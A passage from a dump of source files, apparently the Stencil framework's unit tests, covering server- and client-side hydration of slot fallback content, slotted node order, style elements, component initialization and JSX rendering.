Fallback text - should not be hidden\n            <strong class=\"sc-cmp-a\">\n              Fallback element\n            </strong>\n          </slot-fb>\n        </article>\n      </cmp-a>\n    `);\n  });\n\n  it('shows slot fallback content in a `shadow: true` component`', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <slot>\n              Fallback text - should not be hidden\n              <strong>Fallback element</strong>\n            </slot>\n          </article>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <article c-id=\"1.0.0.0\">\n          <slot-fb c-id=\"1.1.1.0\" s-sn=\"\">\n            <!--t.1.2.2.0-->\n            Fallback text - should not be hidden\n            <strong c-id=\"1.3.2.1\">\n              <!--t.1.4.3.0-->\n              Fallback element\n            </strong>\n          </slot-fb>\n        </article>\n      </cmp-a>  \n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <article>\n            <slot>\n              Fallback text - should not be hidden\n              <strong>\n                Fallback element\n              </strong>\n            </slot>\n          </article>\n        </mock:shadow-root>\n      </cmp-a>  \n    `);\n  });\n\n  it('shows slot fallback text in a nested `scoped: true` component (hides the fallback in the `scoped: true` parent component)', async () => {\n    @Component({\n      tag: 'cmp-a',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <slot>Fallback content parent - should be hidden</slot>\n            <p>Non slot based content</p>\n          </article>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      scoped: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <section>\n            <slot>Fallback content child - should not be hidden</slot>\n            <p>Non slot based content</p>\n          </section>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a><cmp-b></cmp-b></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.c-->\n        <article c-id=\"1.0.0.0\">\n          <slot-fb c-id=\"1.1.1.0\" hidden=\"\" s-sn=\"\">\n            <!--t.1.2.2.0-->\n            Fallback content parent - should be hidden\n          </slot-fb>\n          <cmp-b c-id=\"0.1\" class=\"hydrated\" s-id=\"2\" s-sn=\"\">\n            <!--r.2-->\n            <section c-id=\"2.0.0.0\">\n              <slot-fb c-id=\"2.1.1.0\" s-sn=\"\">\n                <!--t.2.2.2.0-->\n                Fallback content child - should not be hidden\n              </slot-fb>\n              <p c-id=\"2.3.1.1\">\n                <!--t.2.4.2.0-->\n                Non slot based content\n              </p>\n            </section>\n          </cmp-b>\n          <p c-id=\"1.3.1.1\">\n            <!--t.1.4.2.0-->\n            Non slot based content\n          </p>\n        </article>\n      </cmp-a>  \n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root.outerHTML).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <article class=\"sc-cmp-a sc-cmp-a-s\">\n          <slot-fb class=\"sc-cmp-a\" hidden=\"\">\n            Fallback content parent - should be hidden\n          </slot-fb>\n          <cmp-b class=\"hydrated sc-cmp-b-h\">\n            <!--r.2-->\n            <section class=\"sc-cmp-b sc-cmp-b-s\">\n              <slot-fb class=\"sc-cmp-b\">\n                Fallback content child - should not be hidden\n              </slot-fb>\n              <p class=\"sc-cmp-b\">\n                Non slot based content\n              </p>\n            </section>\n          </cmp-b>\n          <p class=\"sc-cmp-a\">\n            Non slot based content\n          </p>\n        </article>\n      </cmp-a>\n    `);\n  });\n\n  it('renders slot fallback text in a nested `shadow: true` component (`shadow: true` parent component)', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <slot>Fallback content parent - should be hidden</slot>\n            <p>Non slot based content</p>\n          </article>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      shadow: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <section>\n            <slot>Fallback content child - should not be hidden</slot>\n            <p>Non slot based content</p>\n          </section>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a><cmp-b></cmp-b></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <article c-id=\"1.0.0.0\">\n          <slot-fb c-id=\"1.1.1.0\" hidden=\"\" s-sn=\"\">\n            <!--t.1.2.2.0-->\n            Fallback content parent - should be hidden\n          </slot-fb>\n          <cmp-b c-id=\"0.1\" class=\"hydrated\" s-id=\"2\" s-sn=\"\">\n            <!--r.2-->\n            <section c-id=\"2.0.0.0\">\n              <slot-fb c-id=\"2.1.1.0\" s-sn=\"\">\n                <!--t.2.2.2.0-->\n                Fallback content child - should not be hidden\n              </slot-fb>\n              <p c-id=\"2.3.1.1\">\n                <!--t.2.4.2.0-->\n                Non slot based content\n              </p>\n            </section>\n          </cmp-b>\n          <p c-id=\"1.3.1.1\">\n            <!--t.1.4.2.0-->\n            Non slot based content \n          </p>\n        </article>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <article>\n            <slot>\n              Fallback content parent - should be hidden\n            </slot>\n            <p>\n              Non slot based content\n            </p>\n          </article>\n        </mock:shadow-root>\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <section>\n              <slot>\n                Fallback content child - should not be hidden\n              </slot>\n              <p>\n                Non slot based content\n              </p>\n            </section>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>  \n    `);\n  });\n\n  it('does not show slot fallback text when a `scoped: true` component forwards the slot to nested `shadow: true`', async () => {\n    @Component({\n      tag: 'cmp-a',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <cmp-b>\n              <slot>Fallback content parent - should be hidden</slot>\n            </cmp-b>\n          </article>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      shadow: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <section>\n            <slot>Fallback content child - should be hidden</slot>\n          </section>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `\n      <cmp-a>\n        <p>slotted item 1</p>\n        <p>slotted item 2</p>\n        <p>slotted item 3</p>\n      </cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.2.c-->\n        <!--o.0.4.c-->\n        <!--o.0.6.c-->\n        <article c-id=\"1.0.0.0\">\n          <cmp-b c-id=\"1.1.1.0\" class=\"hydrated\" s-id=\"2\">\n            <!--r.2-->\n            <!--o.1.2.-->\n            <section c-id=\"2.0.0.0\">\n              <slot-fb c-id=\"2.1.1.0\" hidden=\"\" s-sn=\"\">\n                <!--t.2.2.2.0-->\n                Fallback content child - should be hidden\n              </slot-fb>\n              <slot-fb c-id=\"1.2.2.0\" hidden=\"\" s-sn=\"\">\n                <!--t.1.3.3.0-->\n                Fallback content parent - should be hidden\n              </slot-fb>\n              <p c-id=\"0.2\" s-sn=\"\">\n                slotted item 1\n              </p>\n              <p c-id=\"0.4\" s-sn=\"\">\n                slotted item 2\n              </p>\n              <p c-id=\"0.6\" s-sn=\"\">\n                slotted item 3\n              </p>\n            </section>\n          </cmp-b>\n        </article>\n      </cmp-a>  \n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <article class=\"sc-cmp-a\">\n          <cmp-b class=\"hydrated sc-cmp-a sc-cmp-a-s\">\n            <mock:shadow-root>\n              <section>\n                <slot>\n                  Fallback content child - should be hidden\n                </slot>\n              </section>\n            </mock:shadow-root>\n            <slot-fb class=\"sc-cmp-a\" hidden=\"\">\n              Fallback content parent - should be hidden\n            </slot-fb>\n            <p>\n              slotted item 1\n            </p>\n            <p>\n              slotted item 2\n            </p>\n            <p>\n              slotted item 3\n            </p>\n          </cmp-b>\n        </article>\n      </cmp-a>  \n    `);\n  });\n\n  it('does not hide slot fallback text when a `scoped: true` component forwards the slot to nested `shadow: true`', async () => {\n    @Component({\n      tag: 'cmp-a',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <cmp-b>\n              <slot>Fallback content parent - should be hidden</slot>\n            </cmp-b>\n          </article>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      shadow: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <section>\n            <slot>Fallback content child - should not be hidden</slot>\n          </section>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `\n      <cmp-a></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\\\"hydrated\\\" s-id=\\\"1\\\">\n        <!--r.1-->\n        <article c-id=\\\"1.0.0.0\\\">\n          <cmp-b c-id=\\\"1.1.1.0\\\" class=\\\"hydrated\\\" s-id=\\\"2\\\">\n            <!--r.2-->\n            <!--o.1.2.-->\n            <section c-id=\\\"2.0.0.0\\\">\n              <slot-fb c-id=\\\"2.1.1.0\\\" s-sn=\\\"\\\">\n                <!--t.2.2.2.0-->\n                Fallback content child - should not be hidden\n              </slot-fb>\n              <slot-fb c-id=\\\"1.2.2.0\\\" s-sn=\\\"\\\">\n                <!--t.1.3.3.0-->\n                Fallback content parent - should be hidden\n              </slot-fb>\n            </section>\n          </cmp-b>\n        </article>\n      </cmp-a>  \n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <article class=\"sc-cmp-a\">\n          <cmp-b class=\"hydrated sc-cmp-a sc-cmp-a-s\">\n            <mock:shadow-root>\n              <section>\n                <slot>\n                  Fallback content child - should not be hidden\n                </slot>\n              </section>\n            </mock:shadow-root>\n            <slot-fb class=\"sc-cmp-a\">\n              Fallback content parent - should be hidden\n            </slot-fb>\n          </cmp-b>\n        </article>\n      </cmp-a>  \n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-slotted-content-order.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { patchPseudoShadowDom } from '../../runtime/dom-extras';\n\ndescribe(\"hydrated components' slotted node order\", () => {\n  const nodeOrEle = (node: Node | Element) => {\n    if (!node) return '';\n    return (node as Element).outerHTML || node.nodeValue;\n  };\n\n  it('should retain original order of slotted nodes within a `shadow: true` component', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <main>\n            <slot />\n          </main>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n      <cmp-a><p>slotted item 1</p><!-- a comment --!><p>slotted item 2</p>A text node<p>slotted item 3</p><!-- another comment --!></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\" s-id=\"1\">\n      <!--r.1-->\n      <!--o.0.1.-->\n      <!--o.0.2.-->\n      <!--o.0.3.-->\n      <!--o.0.4.-->\n      <!--o.0.5.-->\n      <!--o.0.6.-->\n      <main c-id=\"1.0.0.0\">\n        <!--s.1.1.1.0.-->\n        <p c-id=\"0.1\" s-sn=\"\">\n          slotted item 1\n        </p>\n        <!--c.0.2-->\n        <!-- a comment -->\n        <p c-id=\"0.3\" s-sn=\"\">\n          slotted item 2\n        </p>\n        <!--t.0.4-->\n        A text node\n        <p c-id=\"0.5\" s-sn=\"\">\n          slotted item 3\n        </p>\n        <!--c.0.6-->\n        <!-- another comment -->\n      </main>\n    </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <main>\n            <slot></slot>\n          </main>\n        </mock:shadow-root>\n        <p>\n          slotted item 1\n        </p>\n        <!-- a comment -->\n        <p>\n          slotted item 2\n        </p>\n        A text node\n        <p>\n          slotted item 3\n        </p>\n        <!-- another comment -->\n      </cmp-a>\n    `);\n\n    const childNodes = clientHydrated.root.childNodes;\n\n    expect(nodeOrEle(childNodes[0])).toBe(`<p>slotted item 1</p>`);\n    expect(nodeOrEle(childNodes[1])).toBe(` a comment `);\n    expect(nodeOrEle(childNodes[2])).toBe(`<p>slotted item 2</p>`);\n    expect(nodeOrEle(childNodes[3])).toBe(`A text node`);\n    expect(nodeOrEle(childNodes[4])).toBe(`<p>slotted item 3</p>`);\n    expect(nodeOrEle(childNodes[5])).toBe(` another comment `);\n  });\n\n  it('should retain original order of slotted nodes within multiple slots of a `shadow: true` component', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <main>\n            <aside>\n              <slot name=\"second\" />\n            </aside>\n            <section>\n              <slot />\n            </section>\n          </main>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n      <cmp-a><!-- comment node --> Default slot <p slot=\"second\">second slot</p><!-- another comment node --></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\" s-id=\"1\">\n      <!--r.1-->\n      <!--o.0.1.-->\n      <!--o.0.2.-->\n      <!--o.0.3.-->\n      <!--o.0.4.-->\n      <main c-id=\"1.0.0.0\">\n        <aside c-id=\"1.1.1.0\">\n          <!--s.1.2.2.0.second-->\n          <p c-id=\"0.3\" slot=\"second\">\n            second slot\n          </p>\n        </aside>\n        <section c-id=\"1.3.1.1\">\n          <!--s.1.4.2.0.-->\n          <!--c.0.1-->\n          <!-- comment node -->\n          <!--t.0.2-->\n          Default slot\n          <!--c.0.4-->\n          <!-- another comment node -->\n        </section>\n      </main>\n    </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root.outerHTML).toEqualHtml(`\n      <cmp-a class=\"hydrated\"><template shadowrootmode=\"open\">\n        <main>\n          <aside>\n            <slot name=\"second\"></slot>\n          </aside>\n          <section>\n            <slot></slot>\n          </section>\n        </main></template>\n        <!-- comment node -->\n        Default slot\n        <p slot=\"second\">\n          second slot\n        </p>\n        <!-- another comment node -->\n      </cmp-a>\n    `);\n\n    const childNodes = clientHydrated.root.childNodes;\n\n    expect(nodeOrEle(childNodes[0])).toBe(` comment node `);\n    expect(nodeOrEle(childNodes[1])).toBe(` Default slot `);\n    expect(nodeOrEle(childNodes[2])).toBe(`<p slot=\"second\">second slot</p>`);\n    expect(nodeOrEle(childNodes[3])).toBe(` another comment node `);\n  });\n\n  it('should retain original order of slotted nodes within nested `shadow: true` components', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <main>\n            <slot />\n          </main>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      shadow: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <section>\n            <slot />\n          </section>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `\n      <cmp-a><p>slotted item 1a</p><!-- a comment --!>A text node<!-- another comment a--!><cmp-b><p>slotted item 1b</p><!-- b comment --!>B text node<!-- another comment b--!></cmp-b></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\" s-id=\"1\">\n      <!--r.1-->\n      <!--o.0.1.-->\n      <!--o.0.2.-->\n      <!--o.0.3.-->\n      <!--o.0.4.-->\n      <!--o.0.5.-->\n      <main c-id=\"1.0.0.0\">\n        <!--s.1.1.1.0.-->\n        <p c-id=\"0.1\" s-sn=\"\">\n          slotted item 1a\n        </p>\n        <!--c.0.2-->\n        <!-- a comment -->\n        <!--t.0.3-->\n        A text node\n        <!--c.0.4-->\n        <!-- another comment a-->\n        <cmp-b c-id=\"0.5\" class=\"hydrated\" s-id=\"2\" s-sn=\"\">\n          <!--r.2-->\n          <!--o.0.6.-->\n          <!--o.0.7.-->\n          <!--o.0.8.-->\n          <!--o.0.9.-->\n          <section c-id=\"2.0.0.0\">\n            <!--s.2.1.1.0.-->\n            <p c-id=\"0.6\" s-sn=\"\">\n              slotted item 1b\n            </p>\n            <!--c.0.7-->\n            <!-- b comment -->\n            <!--t.0.8-->\n            B text node\n            <!--c.0.9-->\n            <!-- another comment b-->\n          </section>\n        </cmp-b>\n      </main>\n    </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    const childNodes = clientHydrated.root.childNodes;\n\n    expect(nodeOrEle(childNodes[0])).toBe(`<p>slotted item 1a</p>`);\n    expect(nodeOrEle(childNodes[1])).toBe(` a comment `);\n    expect(nodeOrEle(childNodes[2])).toBe(`A text node`);\n    expect(nodeOrEle(childNodes[3])).toBe(` another comment a`);\n    expect(nodeOrEle(childNodes[4].childNodes[0])).toBe(`<p>slotted item 1b</p>`);\n    expect(nodeOrEle(childNodes[4].childNodes[1])).toBe(` b comment `);\n    expect(nodeOrEle(childNodes[4].childNodes[2])).toBe(`B text node`);\n    expect(nodeOrEle(childNodes[4].childNodes[3])).toBe(` another comment b`);\n  });\n\n  it('should retain original order of slotted nodes within a `scoped: true` component', async () => {\n    @Component({\n      tag: 'cmp-a',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <main>\n            <slot />\n          </main>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n      <cmp-a><p>slotted item 1</p><!-- a comment --><p>slotted item 2</p>A text node<p>slotted item 3</p><!-- another comment --></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\" s-id=\"1\">\n      <!--r.1-->\n      <!--o.0.1.c-->\n      <!--o.0.2.c-->\n      <!--o.0.3.c-->\n      <!--o.0.4.c-->\n      <!--o.0.5.c-->\n      <!--o.0.6.c-->\n      <main c-id=\"1.0.0.0\">\n        <!--s.1.1.1.0.-->\n        <p c-id=\"0.1\" s-sn=\"\">\n          slotted item 1\n        </p>\n        <!--c.0.2-->\n        <!-- a comment -->\n        <p c-id=\"0.3\" s-sn=\"\">\n          slotted item 2\n        </p>\n        <!--t.0.4-->\n        A text node\n        <p c-id=\"0.5\" s-sn=\"\">\n          slotted item 3\n        </p>\n        <!--c.0.6-->\n        <!-- another comment -->\n      </main>\n    </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    // patches this element's prototype in the same way we patch all elements in the browser\n    patchPseudoShadowDom(Object.getPrototypeOf(clientHydrated.root));\n\n    expect(clientHydrated.root.outerHTML).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <main class=\"sc-cmp-a sc-cmp-a-s\">\n          <!--s.1.1.1.0.-->\n          <p>\n            slotted item 1\n          </p>\n          <!-- a comment -->\n          <p>\n            slotted item 2\n          </p>\n          A text node\n          <p>\n            slotted item 3\n          </p>\n          <!-- another comment -->\n        </main>\n      </cmp-a>\n    `);\n\n    const childNodes = clientHydrated.root.childNodes;\n\n    expect(nodeOrEle(childNodes[0])).toBe(`<p>slotted item 1</p>`);\n    expect(nodeOrEle(childNodes[1])).toBe(` a comment `);\n    expect(nodeOrEle(childNodes[2])).toBe(`<p>slotted item 2</p>`);\n    expect(nodeOrEle(childNodes[3])).toBe(`A text node`);\n    expect(nodeOrEle(childNodes[4])).toBe(`<p>slotted item 3</p>`);\n    expect(nodeOrEle(childNodes[5])).toBe(` another comment `);\n  });\n\n  it('should retain original order of slotted nodes within multiple slots of a `scoped: true` component', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: false,\n    })\n    class CmpA {\n      render() {\n        return (\n          <main>\n            <aside>\n              <slot name=\"second\" />\n            </aside>\n            <section>\n              <slot />\n            </section>\n          </main>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n      <cmp-a><!-- comment node --> Default slot <p slot=\"second\">second slot</p><!-- another comment node --></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\" s-id=\"1\">\n      <!--r.1-->\n      <!--o.0.1-->\n      <!--o.0.2-->\n      <!--o.0.3-->\n      <!--o.0.4-->\n      <main c-id=\"1.0.0.0\">\n        <aside c-id=\"1.1.1.0\">\n          <!--s.1.2.2.0.second-->\n          <p c-id=\"0.3\" slot=\"second\">\n            second slot\n          </p>\n        </aside>\n        <section c-id=\"1.3.1.1\">\n          <!--s.1.4.2.0.-->\n          <!--c.0.1-->\n          <!-- comment node -->\n          <!--t.0.2-->\n          Default slot\n          <!--c.0.4-->\n          <!-- another comment node -->\n        </section>\n      </main>\n    </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    // patches this element's prototype in the same way we patch all elements in the browser\n    patchPseudoShadowDom(Object.getPrototypeOf(clientHydrated.root));\n\n    const childNodes = clientHydrated.root.childNodes;\n\n    expect(nodeOrEle(childNodes[0])).toBe(` comment node `);\n    expect(nodeOrEle(childNodes[1])).toBe(` Default slot `);\n    expect(nodeOrEle(childNodes[2])).toBe(`<p slot=\"second\">second slot</p>`);\n    expect(nodeOrEle(childNodes[3])).toBe(` another comment node `);\n  });\n\n  it('should retain original order of slotted nodes within nested `scoped: true` components', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: false,\n    })\n    class CmpA {\n      render() {\n        return (\n          <main>\n            <slot />\n          </main>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      shadow: false,\n    })\n    class CmpB {\n      render() {\n        return (\n          <section>\n            <slot />\n          </section>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `\n      <cmp-a><p>slotted item 1a</p><!-- a comment --!>A text node<!-- another comment a--!><cmp-b><p>slotted item 1b</p><!-- b comment --!>B text node<!-- another comment b--!></cmp-b></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\" s-id=\"1\">\n      <!--r.1-->\n      <!--o.0.1-->\n      <!--o.0.2-->\n      <!--o.0.3-->\n      <!--o.0.4-->\n      <!--o.0.5-->\n      <main c-id=\"1.0.0.0\">\n        <!--s.1.1.1.0.-->\n        <p c-id=\"0.1\" s-sn=\"\">\n          slotted item 1a\n        </p>\n        <!--c.0.2-->\n        <!-- a comment -->\n        <!--t.0.3-->\n        A text node\n        <!--c.0.4-->\n        <!-- another comment a-->\n        <cmp-b c-id=\"0.5\" class=\"hydrated\" s-id=\"2\" s-sn=\"\">\n          <!--r.2-->\n          <!--o.0.6-->\n          <!--o.0.7-->\n          <!--o.0.8-->\n          <!--o.0.9-->\n          <section c-id=\"2.0.0.0\">\n            <!--s.2.1.1.0.-->\n            <p c-id=\"0.6\" s-sn=\"\">\n              slotted item 1b\n            </p>\n            <!--c.0.7-->\n            <!-- b comment -->\n            <!--t.0.8-->\n            B text node\n            <!--c.0.9-->\n            <!-- another comment b-->\n          </section>\n        </cmp-b>\n      </main>\n    </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    // patches this element's prototype in the same way we patch all elements in the browser\n    patchPseudoShadowDom(Object.getPrototypeOf(clientHydrated.root));\n\n    const childNodes = clientHydrated.root.childNodes;\n\n    patchPseudoShadowDom(Object.getPrototypeOf(childNodes[4]));\n\n    expect(nodeOrEle(childNodes[0])).toBe(`<p>slotted item 1a</p>`);\n    expect(nodeOrEle(childNodes[1])).toBe(` a comment `);\n    expect(nodeOrEle(childNodes[2])).toBe(`A text node`);\n    expect(nodeOrEle(childNodes[3])).toBe(` another comment a`);\n    expect(nodeOrEle(childNodes[4].childNodes[0])).toBe(`<p>slotted item 1b</p>`);\n    expect(nodeOrEle(childNodes[4].childNodes[1])).toBe(` b comment `);\n    expect(nodeOrEle(childNodes[4].childNodes[2])).toBe(`B text node`);\n    expect(nodeOrEle(childNodes[4].childNodes[3])).toBe(` another comment b`);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-style-element.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate style element', () => {\n  it('style element text', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (h as any)('style', null, 'div { color: red; }');\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <style c-id=\"1.0.0.0\">div { color: red; }</style>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <style>div { color: red; }</style>\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/initialize-component.spec.tsx",
    "content": "import { getHostRef } from '@platform';\nimport { Component } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { HOST_FLAGS } from '../../utils';\n\ndescribe('initialize component', () => {\n  @Component({\n    tag: 'cmp-a',\n  })\n  class CmpA {}\n\n  it('should mark the component as initialized', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a><cmp-a>`,\n    });\n\n    const hostFlags = getHostRef(page.root).$flags$;\n    expect(hostFlags & HOST_FLAGS.hasInitializedComponent).toBe(HOST_FLAGS.hasInitializedComponent);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/jsx.spec.tsx",
    "content": "import { Component, Fragment, h, Host, Prop, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { FunctionalComponent } from '../../declarations';\n\ndescribe('jsx', () => {\n  it('Fragment', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <>\n            <div>A</div>\n            <div>B</div>\n          </>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <div>\n          A\n        </div>\n        <div>\n          B\n        </div>\n      </cmp-a>\n    `);\n  });\n\n  it('render template', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() complexProp: any;\n      render() {\n        return <div>The answer is: {this.complexProp.value}</div>;\n      }\n    }\n\n    const OBJECT = { value: 42 };\n    const MyFunctionalCmp = () => <cmp-a complexProp={OBJECT}></cmp-a>;\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      template: () => <MyFunctionalCmp />,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <div>\n          The answer is: 42\n        </div>\n      </cmp-a>\n    `);\n  });\n\n  it('functional cmp with default props', async () => {\n    interface FunctionalCmpProps {\n      first?: string;\n      last?: string;\n    }\n    const FunctionalCmp: FunctionalComponent<FunctionalCmpProps> = ({ first = 'Kim', last = 'Doe' }) => (\n      <div>\n        Hi, my name is {first} {last}.\n      </div>\n    );\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return <FunctionalCmp />;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: '<cmp-a></cmp-a>',\n    